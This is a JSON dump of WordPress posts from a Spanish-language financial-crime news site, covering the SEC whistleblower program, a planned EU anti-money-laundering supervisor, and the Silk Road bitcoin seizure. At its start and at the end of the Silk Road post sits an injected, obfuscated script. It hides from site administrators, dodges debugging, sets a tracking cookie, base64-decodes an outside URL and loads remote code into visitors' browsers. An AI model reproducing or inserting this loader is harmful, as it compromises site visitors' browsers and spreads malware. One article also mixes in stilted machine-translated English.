window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; 